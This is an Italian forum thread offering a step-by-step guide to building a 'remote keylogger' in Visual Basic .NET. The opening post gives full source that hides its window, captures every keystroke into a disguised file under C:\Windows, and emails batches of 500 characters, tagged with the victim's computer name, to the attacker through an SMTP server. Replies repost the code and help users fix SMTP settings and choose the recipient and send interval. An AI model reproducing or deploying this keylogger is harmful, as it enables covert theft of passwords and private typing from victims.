• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida Come creare un Keylogger REMOTO

Jacopo007

Nuovo utente
30 Settembre 2011
26
1
0
Asdonia
Miglior risposta
0
#1 Autore del topic
Salve!
Questa mattina volevo creare un keylogger remoto visto che non tutti funzionano..allora ho dato il via alla mia immaginazione :emoji_relieved:.
In questa guida vi insegnerò come crearlo!Bene iniziamo.

1)Apriamo Visual Basic.(|=O)--->Nuovo progetto---->diamo il nome che volete--->Eccoci alla form.
2)Inseriamo i seguenti elementi dalla barra!
1 Timer
1 TextBox
4 Label

Ora vi spiego come ho ideato questo keylogger!
Ho iniziato a creare un keylogger in locale poi ho pensato di farlo remoto inviando le email contenenti il testo digitato...
Quindi ho fatto che quando chi scrive registra i tasti in un file txt il keylogger inserisce i dati anche nella textbox...
Poi quando la textbox è arrivata a un certo numero di lettere allora invia l'email...e quando l'ha inviata si svuota la textbox e si fa sempre il giro...

Ai label date questi titoli...
label1.text=Email mandate
label2.text=0
label3.text=lettere
label4.text=0
Ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.
Codice:
Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Public rip As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Visible = False
        For i As Integer = 3 To 255
            Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
            Dim sw As StreamWriter
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                If fi.Exists = False Then
                    sw = fi.CreateText()
                Else
                    sw = fi.AppendText()
                End If
                sw.Write(ch)
                sw.Flush()
                sw.Close()
                TextBox1.Text = TextBox1.Text + ch
                If TextBox1.TextLength = 500 Then
                    Dim smtpServer As New SmtpClient()
                    Dim mail As New MailMessage()
                    smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
                    smtpServer.Port = 587
                    smtpServer.Host = "smtp.live.com"
                    smtpServer.EnableSsl = True
                    mail = New MailMessage()
                    mail.From = New MailAddress("TUA EMAIL")
                    mail.To.Add("TUA EMAIL")
                    mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
                    mail.Body = TextBox1.Text
                    smtpServer.Send(mail)
                    rip = +1
                    Label4.Text = rip
textbox1.text = ""
                End If
            End If
        Next
        Label1.Text = TextBox1.TextLength
    End Sub
End Class
FONTI ME
 

bleach96

Utente Attivo
30 Agosto 2010
356
1
0
Hack-City
Miglior risposta
0
#2
Riferimento: Come creare un Keylogger REMOTO

non conosco il vb quindi non so se il codice è buono o no, comunque complimenti per aver postato la guida, ti chiedo solo se potresti commentare il codice per facilitare la comprensione di esso
 

x0peppex

Utente normale
28 Dicembre 2010
50
0
17
torino
Miglior risposta
0
#4
Riferimento: Come creare un Keylogger REMOTO

Specifica che visual basic è??

Comunque potresti anche mettere il link del download di visual basic, e se metti screen viene ancora meglio come guida :emoji_smiley:
 
J

Jakub1996

Guest
#8
Riferimento: Come creare un Keylogger REMOTO

Salve!
Questa mattina volevo creare un keylogger remoto visto che non tutti funzionano..allora ho dato il via alla mia immaginazione :emoji_relieved:.
In questa guida vi insegnerò come crearlo!Bene iniziamo.

1)Apriamo Visual Basic.(|=O)--->Nuovo progetto---->diamo il nome che volete--->Eccoci alla form.
2)Inseriamo i seguenti elementi dalla barra!
1 Timer
1 TextBox
4 Label

Ora vi spiego come ho ideato questo keylogger!
Ho iniziato a creare un keylogger in locale poi ho pensato di farlo remoto inviando le email contenenti il testo digitato...
Quindi ho fatto che quando chi scrive registra i tasti in un file txt il keylogger inserisce i dati anche nella textbox...
Poi quando la textbox è arrivata a un certo numero di lettere allora invia l'email...e quando l'ha inviata si svuota la textbox e si fa sempre il giro...

Ai label date questi titoli...
label1.text=Email mandate
label2.text=0
label3.text=lettere
label4.text=0
Ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.
Codice:
Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Public rip As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Visible = False
        For i As Integer = 3 To 255
            Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
            Dim sw As StreamWriter
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                If fi.Exists = False Then
                    sw = fi.CreateText()
                Else
                    sw = fi.AppendText()
                End If
                sw.Write(ch)
                sw.Flush()
                sw.Close()
                TextBox1.Text = TextBox1.Text + ch
                If TextBox1.TextLength = 500 Then
                    Dim smtpServer As New SmtpClient()
                    Dim mail As New MailMessage()
                    smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
                    smtpServer.Port = 587
                    smtpServer.Host = "smtp.live.com"
                    smtpServer.EnableSsl = True
                    mail = New MailMessage()
                    mail.From = New MailAddress("TUA EMAIL")
                    mail.To.Add("TUA EMAIL")
                    mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
                    mail.Body = TextBox1.Text
                    smtpServer.Send(mail)
                    rip = +1
                    Label4.Text = rip
textbox1.text = ""
                End If
            End If
        Next
        Label1.Text = TextBox1.TextLength
    End Sub
End Class
FONTI ME
Non mi funziona l'invio dell'email mi da errore nella parte:
Codice:
smtpServer.Send(mail)
Dato che uso Yahoo ho fatto:
Codice:
Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox11.Text)
        smtpServer.Port = 587
        smtpServer.Host = "smtp.mail.yahoo.it"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress(TextBox2.Text)
        mail.To.Add(".....[MENTION=86488]Yahoo[/MENTION].it")
        mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
        mail.Body = RichTextBox1.Text
        smtpServer.Send(mail)
Puoi aiutarmi? :cry:
 

Mr.Nessun

Nuovo utente
15 Marzo 2012
7
0
0
28
Bari
Miglior risposta
0
#9
Riferimento: Come creare un Keylogger REMOTO

Io vorrei testarlo localmente lo apro e non si apre nulla scrivo e non mi arriva nnt spiegatemi! Scusate per il ritardo sono nuovo!
 
J

Jakub1996

Guest
#10
Riferimento: Come creare un Keylogger REMOTO

non funziona l'invio dell'email, non arriva niente alla casella di posta, ma non da nemmeno 1 errore, quindi il problema non sta nel codice. |=O

---EDIT---

Funziona!!! Avevo sbagliato port di gmail!
 
Ultima modifica da un moderatore:

raiden17

Nuovo utente
1 Ottobre 2010
7
0
0
27
roma
Miglior risposta
0
#11
Riferimento: Come creare un Keylogger REMOTO

scusate per farsi che arriva nella mia mail devo mettere l'indirizzo della mia mail fra queste virgolette vero?
mail.To.Add(".....@Yahoo .it")

e poi devo modificare altro o mi basta solo mettere la mia mail li?
 
J

Jakub1996

Guest
#12
Riferimento: Come creare un Keylogger REMOTO

scusate per farsi che arriva nella mia mail devo mettere l'indirizzo della mia mail fra queste virgolette vero?
mail.To.Add(".....@Yahoo .it")

e poi devo modificare altro o mi basta solo mettere la mia mail li?
Devi modificare anche smtp e host :soso:
L'email la devi metterla anche qui insieme alla tua password:
Codice:
smtpServer.Credentials = New Net.NetworkCredential("[B][COLOR="#FF0000"]TUA EMAIL[/COLOR][/B]", "[COLOR="#FF0000"][B]PASSWORD[/B][/COLOR]")
 

sclero

Nuovo utente
23 Aprile 2012
2
0
0
Miglior risposta
0
#14
Riferimento: Come creare un Keylogger REMOTO

ciao a tutti
scusatemi ma non mi è chiara una cosa
ogni quanto tempo viene inviato il file all'indirizzo specificato?
c'è un modo per stabilire quando deve inviarlo?
scusate la domanda ma sono alle prime armi
ringrazio in anticipo coloro che mi risponderanno
 

p0sixering

Utente Attivo
24 Dicembre 2011
499
1
0
Valle d'aosta
Miglior risposta
0
#15
Riferimento: Come creare un Keylogger REMOTO

ciao a tutti
scusatemi ma non mi è chiara una cosa
ogni quanto tempo viene inviato il file all'indirizzo specificato?
c'è un modo per stabilire quando deve inviarlo?
scusate la domanda ma sono alle prime armi
ringrazio in anticipo coloro che mi risponderanno
Deduco ogni 500 caratteri.
--------------- AGGIUNTA AL POST ---------------
ciao a tutti
scusatemi ma non mi è chiara una cosa
ogni quanto tempo viene inviato il file all'indirizzo specificato?
c'è un modo per stabilire quando deve inviarlo?
scusate la domanda ma sono alle prime armi
ringrazio in anticipo coloro che mi risponderanno
Deduco ogni 500 caratteri.
 
Ultima modifica:
J

Jakub1996

Guest
#16
Riferimento: Come creare un Keylogger REMOTO

ciao a tutti
scusatemi ma non mi è chiara una cosa
ogni quanto tempo viene inviato il file all'indirizzo specificato?
c'è un modo per stabilire quando deve inviarlo?
scusate la domanda ma sono alle prime armi
ringrazio in anticipo coloro che mi risponderanno
Se copi il codice com'è, ogni 500 caratteri ti arriverà un email, per cambiarlo basta modificare questo codice:
Codice:
If TextBox1.TextLength = [B][COLOR="#FF0000"]500[/COLOR][/B] Then
Al posto di 500 metti il numero di caratteri che vuoi tu, devi contare anche gli spazi che valgono più di 1 carattere, nn mi ricordo quanti esattamente.
 

sclero

Nuovo utente
23 Aprile 2012
2
0
0
Miglior risposta
0
#17
Riferimento: Come creare un Keylogger REMOTO

ti ringrazio p0sixering mi era sfuggita una linea
---->If TextBox1.TextLength = 500 Then<----
 

sotto93

Nuovo utente
2 Gennaio 2011
1
0
0
aosta
Miglior risposta
0
#18
Riferimento: Come creare un Keylogger REMOTO

Codice vecchio, conosciuto e soprattutto non preciso per i caratteri strani come questi: °à#§ùòçéè* ecc ecc
 

System32

Guru del Forum
2 Gennaio 2010
15.567
128
83
Catania
Miglior risposta
0
#19
Riferimento: Come creare un Keylogger REMOTO

Se copi il codice com'è, ogni 500 caratteri ti arriverà un email, per cambiarlo basta modificare questo codice:
Codice:
If TextBox1.TextLength = [B][COLOR="#FF0000"]500[/COLOR][/B] Then
Al posto di 500 metti il numero di caratteri che vuoi tu, devi contare anche gli spazi che valgono più di 1 carattere, nn mi ricordo quanti esattamente.
Il carattere "spazio" vale per uno...
 
J

Jakub1996

Guest
#20
Riferimento: Come creare un Keylogger REMOTO

Il carattere "spazio" vale per uno...
forse, non ero sicuro perchè mi sembrava di averlo visto valere come "[spazio]", quindi 8 oppure come "spazio", quindi 5.
--------------- AGGIUNTA AL POST ---------------
P.S. non sono così nabbo da non sapere che lo spazio vale 1, intendevo in questo keylogger. :soso:
 
Ultima modifica da un moderatore:
Shoutbox
  1. #KiK #KiK: Come guadagnare fino a 10.. *tosse* centesimi in un giorno
  2. TakeoMasaki TakeoMasaki: Salve! Date un occhiata: https://www.sciax2.it/forum/threads/guadagnare-fino-a-1000eur-al-giorno-jupvideo-com.700635/
  3. Cristoforo58 Cristoforo58: :))
  4. 404Error 404Error: Mi fa piacere che questo forum sia ancora in piedi... Quanti giorni interi passati qui dentro!!!
  5. -Sicily94- -Sicily94-: Giorno, cerco beta testers, o persone che cercando un retro fatto come si deve: https://www.sciax2.it/forum/threads/progetto-sicily-hotel-beta-test-serio.700314/
  6. #KiK #KiK: Amicii
  7. Cristoforo58 Cristoforo58: Ti ho inviato un PM
  8. -Sicily94- -Sicily94-: Giorno, se cè un MOD disponibile potrebbe contattarmi? Grazie
  9. Carlos. Carlos.: https://www.sciax2.it/forum/threads/joox-full-automated-account-shop.700606/
  10. DarkKB DarkKB: https://www.sciax2.it/forum/threads/habbor-hotel-online.700555/
  11. DjLolOwna DjLolOwna: ho bisogno di una mano
  12. DjLolOwna DjLolOwna: chi è bravo in java?
  13. 𝕴𝖔𝖗𝖔𝖘𝖒 𝕴𝖔𝖗𝖔𝖘𝖒: *PER I PROGETTI CONTATTATEMI*
  14. -Sicily94- -Sicily94-: Ciao, sto cercando persone per questo progetto: https://www.sciax2.it/forum/threads/progetto-sicily-hotel-beta-test-serio.700314/
  15. Snowierthrone Snowierthrone: https://www.sciax2.it/forum/threads/anti-virus-tool-per-scovare-backdoor-o-altri-virus-in-file-jar.700600/
  16. Askarymt2 Askarymt2: Va' ancora metin su questo forum?
  17. minaminohw minaminohw: conosce sito per vpn gratuite e affidabili?
  18. 𝕴𝖔𝖗𝖔𝖘𝖒 𝕴𝖔𝖗𝖔𝖘𝖒: Ciao
  19. minaminohw minaminohw: yeao
  20. #KiK #KiK: rispondete please in amore e sentimenti
  21. F fabioref: Ragazzi quale admin posso contattare per assistenza?
  22. 𝕴𝖔𝖗𝖔𝖘𝖒 𝕴𝖔𝖗𝖔𝖘𝖒: Sera
  23. #James #James: ueeeeeeee
  24. -Sicily94- -Sicily94-: Sera https://www.sciax2.it/forum/threads/progetto-sicily-hotel-beta-test-serio.700314/
  25. #KiK #KiK: salveenee
Top